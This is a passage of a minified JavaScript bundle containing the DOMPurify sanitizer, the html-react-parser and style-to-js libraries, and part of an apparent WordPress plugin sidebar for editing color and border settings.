0,Ct("uponSanitizeAttribute",e,a),m=a.attrValue,a.forceKeepAttr)continue;if(bt(o,e),!a.keepAttr)continue;if(!Ue&&y(/\/>/i,m)){bt(o,e);continue}if(Fe&&y(/((--!?|])>)|<\/(style|title)/i,m)){bt(o,e);continue}Me&&d([me,pe,fe],(e=>{m=v(m,e," ")}));const p=ot(e.nodeName);if(kt(p,c,m)){if(!ze||"id"!==c&&"name"!==c||(bt(o,e),m="user-content-"+m),le&&"object"==typeof W&&"function"==typeof W.getAttributeType)if(r);else switch(W.getAttributeType(p,c)){case"TrustedHTML":m=le.createHTML(m);break;case"TrustedScriptURL":m=le.createScriptURL(m)}try{r?e.setAttributeNS(r,o,m):e.setAttribute(o,m),yt(e)?vt(e):u(n.removed)}catch(e){}}}Ct("afterSanitizeAttributes",e,null)},Pt=function e(t){let a=null;const n=St(t);for(Ct("beforeSanitizeShadowDOM",t,null);a=n.nextNode();)Ct("uponSanitizeShadowNode",a,null),Et(a)||(a.content instanceof c&&e(a.content),It(a));Ct("afterSanitizeShadowDOM",t,null)};return n.sanitize=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=null,l=null,i=null,r=null;if(tt=!e,tt&&(e="\x3c!--\x3e"),"string"!=typeof e&&!wt(e)){if("function"!=typeof e.toString)throw w("toString is not a function");if("string"!=typeof(e=e.toString()))throw w("dirty is not a string, aborting")}if(!n.isSupported)return e;if(De||dt(t),n.removed=[],"string"==typeof e&&(We=!1),We){if(e.nodeName){const t=ot(e.nodeName);if(!we[t]||Ie[t])throw w("root node is forbidden and cannot be sanitized in-place")}}else if(e instanceof E)a=ht("\x3c!----\x3e"),l=a.ownerDocument.importNode(e,!0),l.nodeType===J&&"BODY"===l.nodeName||"HTML"===l.nodeName?a=l:a.appendChild(l);else{if(!Be&&!Me&&!Oe&&-1===e.indexOf("<"))return le&&He?le.createHTML(e):e;if(a=ht(e),!a)return Be?null:He?ie:""}a&&Ne&&vt(a.firstChild);const s=St(We?e:a);for(;i=s.nextNode();)Et(i)||(i.content instanceof c&&Pt(i.content),It(i));if(We)return e;if(Be){if(Le)for(r=se.call(a.ownerDocument);a.firstChild;)r.appendChild(a.firstChild);else r=a;return(Ee.shadowroot||Ee.shadowrootmode)&&(r=de.call(o,r,!0)),r}let u=Oe?a.outerHTML:a.innerHTML;return Oe&&we["!doctype"]&&a.ownerDocument&&a.ownerDocument.doctype&&a.ownerDocument.doctype.name&&y(K,a.ownerDocument.doctype.name)&&(u="<!DOCTYPE "+a.ownerDocument.doctype.name+">\n"+u),Me&&d([me,pe,fe],(e=>{u=v(u,e," ")})),le&&He?le.createHTML(u):u},n.setConfig=function(){dt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}),De=!0},n.clearConfig=function(){rt=null,De=!1},n.isValidAttribute=function(e,t,a){rt||dt({});const n=ot(e),l=ot(t);return kt(n,l,a)},n.addHook=function(e,t){"function"==typeof t&&(ue[e]=ue[e]||[],m(ue[e],t))},n.removeHook=function(e){if(ue[e])return u(ue[e])},n.removeHooks=function(e){ue[e]&&(ue[e]=[])},n.removeAllHooks=function(){ue={}},n}()}()},270:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.CASE_SENSITIVE_TAG_NAMES_MAP=t.CASE_SENSITIVE_TAG_NAMES=void 0,t.CASE_SENSITIVE_TAG_NAMES=["animateMotion","animateTransform","clipPath","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","foreignObject","linearGradient","radialGradient","textPath"],t.CASE_SENSITIVE_TAG_NAMES_MAP=t.CASE_SENSITIVE_TAG_NAMES.reduce((function(e,t){return e[t.toLowerCase()]=t,e}),{})},496:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a="html",n="head",l="body",i=/<([a-zA-Z]+[0-9]?)/,o=/<head[^]*>/i,r=/<body[^]*>/i,s=function(e,t){throw new Error("This browser does not support `document.implementation.createHTMLDocument`")},c=function(e,t){throw new Error("This browser does not support `DOMParser.prototype.parseFromString`")},d="object"==typeof window&&window.DOMParser;if("function"==typeof d){var u=new d;s=c=function(e,t){return t&&(e="<".concat(t,">").concat(e,"</").concat(t,">")),u.parseFromString(e,"text/html")}}if("object"==typeof document&&document.implementation){var m=document.implementation.createHTMLDocument();s=function(e,t){if(t){var a=m.documentElement.querySelector(t);return a&&(a.innerHTML=e),m}return m.documentElement.innerHTML=e,m}}var p,f="object"==typeof document&&document.createElement("template");f&&f.content&&(p=function(e){return f.innerHTML=e,f.content.childNodes}),t.default=function(e){var t,d,u=e.match(i),m=u&&u[1]?u[1].toLowerCase():"";switch(m){case a:var f=c(e);return o.test(e)||null===(t=null==(v=f.querySelector(n))?void 0:v.parentNode)||void 0===t||t.removeChild(v),r.test(e)||null===(d=null==(v=f.querySelector(l))?void 0:v.parentNode)||void 0===d||d.removeChild(v),f.querySelectorAll(a);case n:case l:var g=s(e).querySelectorAll(m);return r.test(e)&&o.test(e)?g[0].parentNode.childNodes:g;default:return p?p(e):(v=s(e,l).querySelector(l)).childNodes;var v}}},471:function(e,t,a){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0});var l=n(a(496)),i=a(731),o=/<(![a-zA-Z\s]+)>/;t.default=function(e){if("string"!=typeof e)throw new TypeError("First argument must be a string");if(!e)return[];var t=e.match(o),a=t?t[1]:void 0;return(0,i.formatDOM)((0,l.default)(e),null,a)}},731:(e,t,a)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.formatDOM=t.formatAttributes=void 0;var n=a(141),l=a(270);function i(e){for(var t={},a=0,n=e.length;a<n;a++){var l=e[a];t[l.name]=l.value}return t}function o(e){return function(e){return l.CASE_SENSITIVE_TAG_NAMES_MAP[e]}(e=e.toLowerCase())||e}t.formatAttributes=i,t.formatDOM=function e(t,a,l){void 0===a&&(a=null);for(var r,s=[],c=0,d=t.length;c<d;c++){var u=t[c];switch(u.nodeType){case 1:var m=o(u.nodeName);(r=new n.Element(m,i(u.attributes))).children=e("template"===m?u.content.childNodes:u.childNodes,r);break;case 3:r=new n.Text(u.nodeValue);break;case 8:r=new n.Comment(u.nodeValue);break;default:continue}var p=s[c-1]||null;p&&(p.next=r),r.parent=a,r.prev=p,r.next=null,s.push(r)}return l&&((r=new n.ProcessingInstruction(l.substring(0,l.indexOf(" ")).toLowerCase(),l)).next=s[0]||null,r.parent=a,s.unshift(r),s[1]&&(s[1].prev=s[0])),s}},840:(e,t,a)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=a(210),l=a(958),i=["checked","value"],o=["input","select","textarea"],r={reset:!0,submit:!0};function s(e){return n.possibleStandardNames[e]}t.default=function(e,t){void 0===e&&(e={});var a={},c=Boolean(e.type&&r[e.type]);for(var d in e){var u=e[d];if((0,n.isCustomAttribute)(d))a[d]=u;else{var m=d.toLowerCase(),p=s(m);if(p){var f=(0,n.getPropertyInfo)(p);switch(i.includes(p)&&o.includes(t)&&!c&&(p=s("default"+m)),a[p]=u,f&&f.type){case n.BOOLEAN:a[p]=!0;break;case n.OVERLOADED_BOOLEAN:""===u&&(a[p]=!0)}}else l.PRESERVE_CUSTOM_ATTRIBUTES&&(a[d]=u)}}return(0,l.setStyleProp)(e.style,a),a}},308:function(e,t,a){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0});var l=a(609),i=n(a(840)),o=a(958),r={cloneElement:l.cloneElement,createElement:l.createElement,isValidElement:l.isValidElement};function s(e){return o.PRESERVE_CUSTOM_ATTRIBUTES&&"tag"===e.type&&(0,o.isCustomComponent)(e.name,e.attribs)}t.default=function e(t,a){void 0===a&&(a={});for(var n=[],l="function"==typeof a.replace,c=a.transform||o.returnFirstArg,d=a.library||r,u=d.cloneElement,m=d.createElement,p=d.isValidElement,f=t.length,g=0;g<f;g++){var v=t[g];if(l){var b=a.replace(v,g);if(p(b)){f>1&&(b=u(b,{key:b.key||g})),n.push(c(b,v,g));continue}}if("text"!==v.type){var h=v,S={};s(h)?((0,o.setStyleProp)(h.attribs.style,h.attribs),S=h.attribs):h.attribs&&(S=(0,i.default)(h.attribs,h.name));var y=void 0;switch(v.type){case"script":case"style":v.children[0]&&(S.dangerouslySetInnerHTML={__html:v.children[0].data});break;case"tag":"textarea"===v.name&&v.children[0]?S.defaultValue=v.children[0].data:v.children&&v.children.length&&(y=e(v.children,a));break;default:continue}f>1&&(S.key=g),n.push(c(m(v.name,S,y),v,g))}else{var w=!v.data.trim().length;if(w&&v.parent&&!(0,o.canTextBeChildOfNode)(v.parent))continue;if(a.trim&&w)continue;n.push(c(v.data,v,g))}}return 1===n.length?n[0]:n}},442:function(e,t,a){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.htmlToDOM=t.domToReact=t.attributesToProps=t.Text=t.ProcessingInstruction=t.Element=t.Comment=void 0;var l=n(a(471));t.htmlToDOM=l.default;var i=n(a(840));t.attributesToProps=i.default;var o=n(a(308));t.domToReact=o.default;var r=a(141);Object.defineProperty(t,"Comment",{enumerable:!0,get:function(){return r.Comment}}),Object.defineProperty(t,"Element",{enumerable:!0,get:function(){return r.Element}}),Object.defineProperty(t,"ProcessingInstruction",{enumerable:!0,get:function(){return r.ProcessingInstruction}}),Object.defineProperty(t,"Text",{enumerable:!0,get:function(){return r.Text}});var s={lowerCaseAttributeNames:!1};t.default=function(e,t){if("string"!=typeof e)throw new TypeError("First argument must be a string");return e?(0,o.default)((0,l.default)(e,(null==t?void 0:t.htmlparser2)||s),t):[]}},958:function(e,t,a){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.returnFirstArg=t.canTextBeChildOfNode=t.ELEMENTS_WITH_NO_TEXT_CHILDREN=t.PRESERVE_CUSTOM_ATTRIBUTES=t.setStyleProp=t.isCustomComponent=void 0;var l=a(609),i=n(a(229)),o=new Set(["annotation-xml","color-profile","font-face","font-face-src","font-face-uri","font-face-format","font-face-name","missing-glyph"]);t.isCustomComponent=function(e,t){return e.includes("-")?!o.has(e):Boolean(t&&"string"==typeof t.is)};var r={reactCompat:!0};t.setStyleProp=function(e,t){if("string"==typeof e)if(e.trim())try{t.style=(0,i.default)(e,r)}catch(e){t.style={}}else t.style={}},t.PRESERVE_CUSTOM_ATTRIBUTES=Number(l.version.split(".")[0])>=16,t.ELEMENTS_WITH_NO_TEXT_CHILDREN=new Set(["tr","tbody","thead","tfoot","colgroup","table","head","html","frameset"]),t.canTextBeChildOfNode=function(e){return!t.ELEMENTS_WITH_NO_TEXT_CHILDREN.has(e.name)},t.returnFirstArg=function(e){return e}},788:e=>{var t=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,a=/\n/g,n=/^\s*/,l=/^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/,i=/^:\s*/,o=/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};])+)/,r=/^[;\s]*/,s=/^\s+|\s+$/g,c="";function d(e){return e?e.replace(s,c):c}e.exports=function(e,s){if("string"!=typeof e)throw new TypeError("First argument must be a string");if(!e)return[];s=s||{};var u=1,m=1;function p(e){var t=e.match(a);t&&(u+=t.length);var n=e.lastIndexOf("\n");m=~n?e.length-n:m+e.length}function f(){var e={line:u,column:m};return function(t){return t.position=new g(e),S(),t}}function g(e){this.start=e,this.end={line:u,column:m},this.source=s.source}g.prototype.content=e;var v=[];function b(t){var a=new Error(s.source+":"+u+":"+m+": "+t);if(a.reason=t,a.filename=s.source,a.line=u,a.column=m,a.source=e,!s.silent)throw a;v.push(a)}function h(t){var a=t.exec(e);if(a){var n=a[0];return p(n),e=e.slice(n.length),a}}function S(){h(n)}function y(e){var t;for(e=e||[];t=w();)!1!==t&&e.push(t);return e}function w(){var t=f();if("/"==e.charAt(0)&&"*"==e.charAt(1)){for(var a=2;c!=e.charAt(a)&&("*"!=e.charAt(a)||"/"!=e.charAt(a+1));)++a;if(a+=2,c===e.charAt(a-1))return b("End of comment missing");var n=e.slice(2,a-2);return m+=2,p(n),e=e.slice(a),m+=2,t({type:"comment",comment:n})}}function C(){var e=f(),a=h(l);if(a){if(w(),!h(i))return b("property missing ':'");var n=h(o),s=e({type:"declaration",property:d(a[0].replace(t,c)),value:n?d(n[0].replace(t,c)):c});return h(r),s}}return S(),function(){var e,t=[];for(y(t);e=C();)!1!==e&&(t.push(e),y(t));return t}()}},210:(e,t,a)=>{"use strict";function n(e,t,a,n,l,i,o){this.acceptsBooleans=2===t||3===t||4===t,this.attributeName=n,this.attributeNamespace=l,this.mustUseProperty=a,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=o}const l={};["children","dangerouslySetInnerHTML","defaultValue","defaultChecked","innerHTML","suppressContentEditableWarning","suppressHydrationWarning","style"].forEach((e=>{l[e]=new n(e,0,!1,e,null,!1,!1)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((([e,t])=>{l[e]=new n(e,1,!1,t,null,!1,!1)})),["contentEditable","draggable","spellCheck","value"].forEach((e=>{l[e]=new n(e,2,!1,e.toLowerCase(),null,!1,!1)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((e=>{l[e]=new n(e,2,!1,e,null,!1,!1)})),["allowFullScreen","async","autoFocus","autoPlay","controls","default","defer","disabled","disablePictureInPicture","disableRemotePlayback","formNoValidate","hidden","loop","noModule","noValidate","open","playsInline","readOnly","required","reversed","scoped","seamless","itemScope"].forEach((e=>{l[e]=new n(e,3,!1,e.toLowerCase(),null,!1,!1)})),["checked","multiple","muted","selected"].forEach((e=>{l[e]=new n(e,3,!0,e,null,!1,!1)})),["capture","download"].forEach((e=>{l[e]=new n(e,4,!1,e,null,!1,!1)})),["cols","rows","size","span"].forEach((e=>{l[e]=new n(e,6,!1,e,null,!1,!1)})),["rowSpan","start"].forEach((e=>{l[e]=new n(e,5,!1,e.toLowerCase(),null,!1,!1)}));const i=/[\-\:]([a-z])/g,o=e=>e[1].toUpperCase();["accent-height","alignment-baseline","arabic-form","baseline-shift","cap-height","clip-path","clip-rule","color-interpolation","color-interpolation-filters","color-profile","color-rendering","dominant-baseline","enable-background","fill-opacity","fill-rule","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","glyph-name","glyph-orientation-horizontal","glyph-orientation-vertical","horiz-adv-x","horiz-origin-x","image-rendering","letter-spacing","lighting-color","marker-end","marker-mid","marker-start","overline-position","overline-thickness","paint-order","panose-1","pointer-events","rendering-intent","shape-rendering","stop-color","stop-opacity","strikethrough-position","strikethrough-thickness","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-anchor","text-decoration","text-rendering","underline-position","underline-thickness","unicode-bidi","unicode-range","units-per-em","v-alphabetic","v-hanging","v-ideographic","v-mathematical","vector-effect","vert-adv-y","vert-origin-x","vert-origin-y","word-spacing","writing-mode","xmlns:xlink","x-height"].forEach((e=>{const t=e.replace(i,o);l[t]=new n(t,1,!1,e,null,!1,!1)})),["xlink:actuate","xlink:arcrole","xlink:role","xlink:show","xlink:title","xlink:type"].forEach((e=>{const t=e.replace(i,o);l[t]=new n(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)})),["xml:base","xml:lang","xml:space"].forEach((e=>{const t=e.replace(i,o);l[t]=new n(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)})),["tabIndex","crossOrigin"].forEach((e=>{l[e]=new n(e,1,!1,e.toLowerCase(),null,!1,!1)})),l.xlinkHref=new n("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach((e=>{l[e]=new n(e,1,!1,e.toLowerCase(),null,!0,!0)}));const{CAMELCASE:r,SAME:s,possibleStandardNames:c}=a(811),d=RegExp.prototype.test.bind(new RegExp("^(data|aria)-[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$")),u=Object.keys(c).reduce(((e,t)=>{const a=c[t];return a===s?e[t]=t:a===r?e[t.toLowerCase()]=t:e[t]=a,e}),{});t.BOOLEAN=3,t.BOOLEANISH_STRING=2,t.NUMERIC=5,t.OVERLOADED_BOOLEAN=4,t.POSITIVE_NUMERIC=6,t.RESERVED=0,t.STRING=1,t.getPropertyInfo=function(e){return l.hasOwnProperty(e)?l[e]:null},t.isCustomAttribute=d,t.possibleStandardNames=u},811:(e,t)=>{t.SAME=0,t.CAMELCASE=1,t.possibleStandardNames={accept:0,acceptCharset:1,"accept-charset":"acceptCharset",accessKey:1,action:0,allowFullScreen:1,alt:0,as:0,async:0,autoCapitalize:1,autoComplete:1,autoCorrect:1,autoFocus:1,autoPlay:1,autoSave:1,capture:0,cellPadding:1,cellSpacing:1,challenge:0,charSet:1,checked:0,children:0,cite:0,class:"className",classID:1,className:1,cols:0,colSpan:1,content:0,contentEditable:1,contextMenu:1,controls:0,controlsList:1,coords:0,crossOrigin:1,dangerouslySetInnerHTML:1,data:0,dateTime:1,default:0,defaultChecked:1,defaultValue:1,defer:0,dir:0,disabled:0,disablePictureInPicture:1,disableRemotePlayback:1,download:0,draggable:0,encType:1,enterKeyHint:1,for:"htmlFor",form:0,formMethod:1,formAction:1,formEncType:1,formNoValidate:1,formTarget:1,frameBorder:1,headers:0,height:0,hidden:0,high:0,href:0,hrefLang:1,htmlFor:1,httpEquiv:1,"http-equiv":"httpEquiv",icon:0,id:0,innerHTML:1,inputMode:1,integrity:0,is:0,itemID:1,itemProp:1,itemRef:1,itemScope:1,itemType:1,keyParams:1,keyType:1,kind:0,label:0,lang:0,list:0,loop:0,low:0,manifest:0,marginWidth:1,marginHeight:1,max:0,maxLength:1,media:0,mediaGroup:1,method:0,min:0,minLength:1,multiple:0,muted:0,name:0,noModule:1,nonce:0,noValidate:1,open:0,optimum:0,pattern:0,placeholder:0,playsInline:1,poster:0,preload:0,profile:0,radioGroup:1,readOnly:1,referrerPolicy:1,rel:0,required:0,reversed:0,role:0,rows:0,rowSpan:1,sandbox:0,scope:0,scoped:0,scrolling:0,seamless:0,selected:0,shape:0,size:0,sizes:0,span:0,spellCheck:1,src:0,srcDoc:1,srcLang:1,srcSet:1,start:0,step:0,style:0,summary:0,tabIndex:1,target:0,title:0,type:0,useMap:1,value:0,width:0,wmode:0,wrap:0,about:0,accentHeight:1,"accent-height":"accentHeight",accumulate:0,additive:0,alignmentBaseline:1,"alignment-baseline":"alignmentBaseline",allowReorder:1,alphabetic:0,amplitude:0,arabicForm:1,"arabic-form":"arabicForm",ascent:0,attributeName:1,attributeType:1,autoReverse:1,azimuth:0,baseFrequency:1,baselineShift:1,"baseline-shift":"baselineShift",baseProfile:1,bbox:0,begin:0,bias:0,by:0,calcMode:1,capHeight:1,"cap-height":"capHeight",clip:0,clipPath:1,"clip-path":"clipPath",clipPathUnits:1,clipRule:1,"clip-rule":"clipRule",color:0,colorInterpolation:1,"color-interpolation":"colorInterpolation",colorInterpolationFilters:1,"color-interpolation-filters":"colorInterpolationFilters",colorProfile:1,"color-profile":"colorProfile",colorRendering:1,"color-rendering":"colorRendering",contentScriptType:1,contentStyleType:1,cursor:0,cx:0,cy:0,d:0,datatype:0,decelerate:0,descent:0,diffuseConstant:1,direction:0,display:0,divisor:0,dominantBaseline:1,"dominant-baseline":"dominantBaseline",dur:0,dx:0,dy:0,edgeMode:1,elevation:0,enableBackground:1,"enable-background":"enableBackground",end:0,exponent:0,externalResourcesRequired:1,fill:0,fillOpacity:1,"fill-opacity":"fillOpacity",fillRule:1,"fill-rule":"fillRule",filter:0,filterRes:1,filterUnits:1,floodOpacity:1,"flood-opacity":"floodOpacity",floodColor:1,"flood-color":"floodColor",focusable:0,fontFamily:1,"font-family":"fontFamily",fontSize:1,"font-size":"fontSize",fontSizeAdjust:1,"font-size-adjust":"fontSizeAdjust",fontStretch:1,"font-stretch":"fontStretch",fontStyle:1,"font-style":"fontStyle",fontVariant:1,"font-variant":"fontVariant",fontWeight:1,"font-weight":"fontWeight",format:0,from:0,fx:0,fy:0,g1:0,g2:0,glyphName:1,"glyph-name":"glyphName",glyphOrientationHorizontal:1,"glyph-orientation-horizontal":"glyphOrientationHorizontal",glyphOrientationVertical:1,"glyph-orientation-vertical":"glyphOrientationVertical",glyphRef:1,gradientTransform:1,gradientUnits:1,hanging:0,horizAdvX:1,"horiz-adv-x":"horizAdvX",horizOriginX:1,"horiz-origin-x":"horizOriginX",ideographic:0,imageRendering:1,"image-rendering":"imageRendering",in2:0,in:0,inlist:0,intercept:0,k1:0,k2:0,k3:0,k4:0,k:0,kernelMatrix:1,kernelUnitLength:1,kerning:0,keyPoints:1,keySplines:1,keyTimes:1,lengthAdjust:1,letterSpacing:1,"letter-spacing":"letterSpacing",lightingColor:1,"lighting-color":"lightingColor",limitingConeAngle:1,local:0,markerEnd:1,"marker-end":"markerEnd",markerHeight:1,markerMid:1,"marker-mid":"markerMid",markerStart:1,"marker-start":"markerStart",markerUnits:1,markerWidth:1,mask:0,maskContentUnits:1,maskUnits:1,mathematical:0,mode:0,numOctaves:1,offset:0,opacity:0,operator:0,order:0,orient:0,orientation:0,origin:0,overflow:0,overlinePosition:1,"overline-position":"overlinePosition",overlineThickness:1,"overline-thickness":"overlineThickness",paintOrder:1,"paint-order":"paintOrder",panose1:0,"panose-1":"panose1",pathLength:1,patternContentUnits:1,patternTransform:1,patternUnits:1,pointerEvents:1,"pointer-events":"pointerEvents",points:0,pointsAtX:1,pointsAtY:1,pointsAtZ:1,prefix:0,preserveAlpha:1,preserveAspectRatio:1,primitiveUnits:1,property:0,r:0,radius:0,refX:1,refY:1,renderingIntent:1,"rendering-intent":"renderingIntent",repeatCount:1,repeatDur:1,requiredExtensions:1,requiredFeatures:1,resource:0,restart:0,result:0,results:0,rotate:0,rx:0,ry:0,scale:0,security:0,seed:0,shapeRendering:1,"shape-rendering":"shapeRendering",slope:0,spacing:0,specularConstant:1,specularExponent:1,speed:0,spreadMethod:1,startOffset:1,stdDeviation:1,stemh:0,stemv:0,stitchTiles:1,stopColor:1,"stop-color":"stopColor",stopOpacity:1,"stop-opacity":"stopOpacity",strikethroughPosition:1,"strikethrough-position":"strikethroughPosition",strikethroughThickness:1,"strikethrough-thickness":"strikethroughThickness",string:0,stroke:0,strokeDasharray:1,"stroke-dasharray":"strokeDasharray",strokeDashoffset:1,"stroke-dashoffset":"strokeDashoffset",strokeLinecap:1,"stroke-linecap":"strokeLinecap",strokeLinejoin:1,"stroke-linejoin":"strokeLinejoin",strokeMiterlimit:1,"stroke-miterlimit":"strokeMiterlimit",strokeWidth:1,"stroke-width":"strokeWidth",strokeOpacity:1,"stroke-opacity":"strokeOpacity",suppressContentEditableWarning:1,suppressHydrationWarning:1,surfaceScale:1,systemLanguage:1,tableValues:1,targetX:1,targetY:1,textAnchor:1,"text-anchor":"textAnchor",textDecoration:1,"text-decoration":"textDecoration",textLength:1,textRendering:1,"text-rendering":"textRendering",to:0,transform:0,typeof:0,u1:0,u2:0,underlinePosition:1,"underline-position":"underlinePosition",underlineThickness:1,"underline-thickness":"underlineThickness",unicode:0,unicodeBidi:1,"unicode-bidi":"unicodeBidi",unicodeRange:1,"unicode-range":"unicodeRange",unitsPerEm:1,"units-per-em":"unitsPerEm",unselectable:0,vAlphabetic:1,"v-alphabetic":"vAlphabetic",values:0,vectorEffect:1,"vector-effect":"vectorEffect",version:0,vertAdvY:1,"vert-adv-y":"vertAdvY",vertOriginX:1,"vert-origin-x":"vertOriginX",vertOriginY:1,"vert-origin-y":"vertOriginY",vHanging:1,"v-hanging":"vHanging",vIdeographic:1,"v-ideographic":"vIdeographic",viewBox:1,viewTarget:1,visibility:0,vMathematical:1,"v-mathematical":"vMathematical",vocab:0,widths:0,wordSpacing:1,"word-spacing":"wordSpacing",writingMode:1,"writing-mode":"writingMode",x1:0,x2:0,x:0,xChannelSelector:1,xHeight:1,"x-height":"xHeight",xlinkActuate:1,"xlink:actuate":"xlinkActuate",xlinkArcrole:1,"xlink:arcrole":"xlinkArcrole",xlinkHref:1,"xlink:href":"xlinkHref",xlinkRole:1,"xlink:role":"xlinkRole",xlinkShow:1,"xlink:show":"xlinkShow",xlinkTitle:1,"xlink:title":"xlinkTitle",xlinkType:1,"xlink:type":"xlinkType",xmlBase:1,"xml:base":"xmlBase",xmlLang:1,"xml:lang":"xmlLang",xmlns:0,"xml:space":"xmlSpace",xmlnsXlink:1,"xmlns:xlink":"xmlnsXlink",xmlSpace:1,y1:0,y2:0,y:0,yChannelSelector:1,z:0,zoomAndPan:1}},229:function(e,t,a){"use strict";var n=(this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}})(a(133)),l=a(917);function i(e,t){var a={};return e&&"string"==typeof e?((0,n.default)(e,(function(e,n){e&&n&&(a[(0,l.camelCase)(e,t)]=n)})),a):a}i.default=i,e.exports=i},917:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.camelCase=void 0;var a=/^--[a-zA-Z0-9-]+$/,n=/-([a-z])/g,l=/^[^-]+$/,i=/^-(webkit|moz|ms|o|khtml)-/,o=/^-(ms)-/,r=function(e,t){return t.toUpperCase()},s=function(e,t){return"".concat(t,"-")};t.camelCase=function(e,t){return void 0===t&&(t={}),function(e){return!e||l.test(e)||a.test(e)}(e)?e:(e=e.toLowerCase(),(e=t.reactCompat?e.replace(o,s):e.replace(i,s)).replace(n,r))}},133:function(e,t,a){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0});var l=n(a(788));t.default=function(e,t){var a=null;if(!e||"string"!=typeof e)return a;var n=(0,l.default)(e),i="function"==typeof t;return n.forEach((function(e){if("declaration"===e.type){var n=e.property,l=e.value;i?t(n,l,e):l&&((a=a||{})[n]=l)}})),a}},609:e=>{"use strict";e.exports=window.React}},t={};function a(n){var l=t[n];if(void 0!==l)return l.exports;var i=t[n]={exports:{}};return e[n].call(i.exports,i,i.exports,a),i.exports}a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var n in t)a.o(t,n)&&!a.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},a.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e;a.g.importScripts&&(e=a.g.location+"");var t=a.g.document;if(!e&&t&&(t.currentScript&&(e=t.currentScript.src),!e)){var n=t.getElementsByTagName("script");if(n.length)for(var l=n.length-1;l>-1&&(!e||!/^http(s?):/.test(e));)e=n[l--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),a.p=e})(),(()=>{"use strict";var e=a(609);const t=window.wp.element,n=window.wp.components,l=window.lodash,i=t=>{let a="";return t.sections.forEach((e=>{e.id===t.activeSectionId&&(a=e.label)})),(0,e.createElement)("div",{className:"sfwf-sidebar-header"},(0,e.createElement)("div",{className:"sfwf-sidebar-back-btn",onClick:()=>t.setActiveSectionId("")},(0,e.createElement)(n.Dashicon,{icon:"arrow-left-alt2"})),(0,e.createElement)("h3",{className:"sfwf-sidebar-heading"},a))},o=a=>{const[i,o]=(0,t.useState)(!1),r=a.panelData[a.sectionId],s=e=>{let t=(0,l.cloneDeep)(a.panelData);t[a.sectionId][a.settingId]=e,a.setHasUnSavedChanges(!0),a.setPanelData(t)};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)(e.Fragment,null,(0,e.createElement)("label",{className:"sfwf-sidebar-custom-label"},a.label),(0,e.createElement)(n.Card,{className:"sfwf-background-component-card"},(0,e.createElement)(n.Button,{variant:"tertiary",className:"sfwf-full-width-btn",onClick:()=>o(!i)},(0,e.createElement)(n.ColorIndicator,{colorValue:r[a.settingId]}),(0,e.createElement)("span",{style:{paddingLeft:"10px"}},"Select Color")))),(()=>{let t="#000";return""!==r[a.settingId]&&(t=r[a.settingId]),i?(0,e.createElement)(n.Popover,{onFocusOutside:()=>o(!1),placement:"right-start",className:"sfwf-color-popover"},(0,e.createElement)(n.ColorPicker,{color:r[a.settingId],onChange:s,defaultValue:t}),(0,e.createElement)(n.Button,{varient:"link",onClick:()=>s("")},"Reset")):""})())},r=t=>{const a=t.panelData[t.sectionId];let i=!1;t.settingId.indexOf("border-color")<0&&(i=!0);let o="";"border-color"in a&&(o=a["border-color"]);let r="";"border-type"in a&&(r=a["border-type"]);let s="";return"border-size"in a&&(s=a["border-size"]),(0,e.createElement)(n.__experimentalBorderControl,{label:t.label,value:{color:o,style:r,width:s},disableCustomColors:i,enableAlpha:!1,onChange:e=>{let a=(0,l.cloneDeep)(t.panelData);void 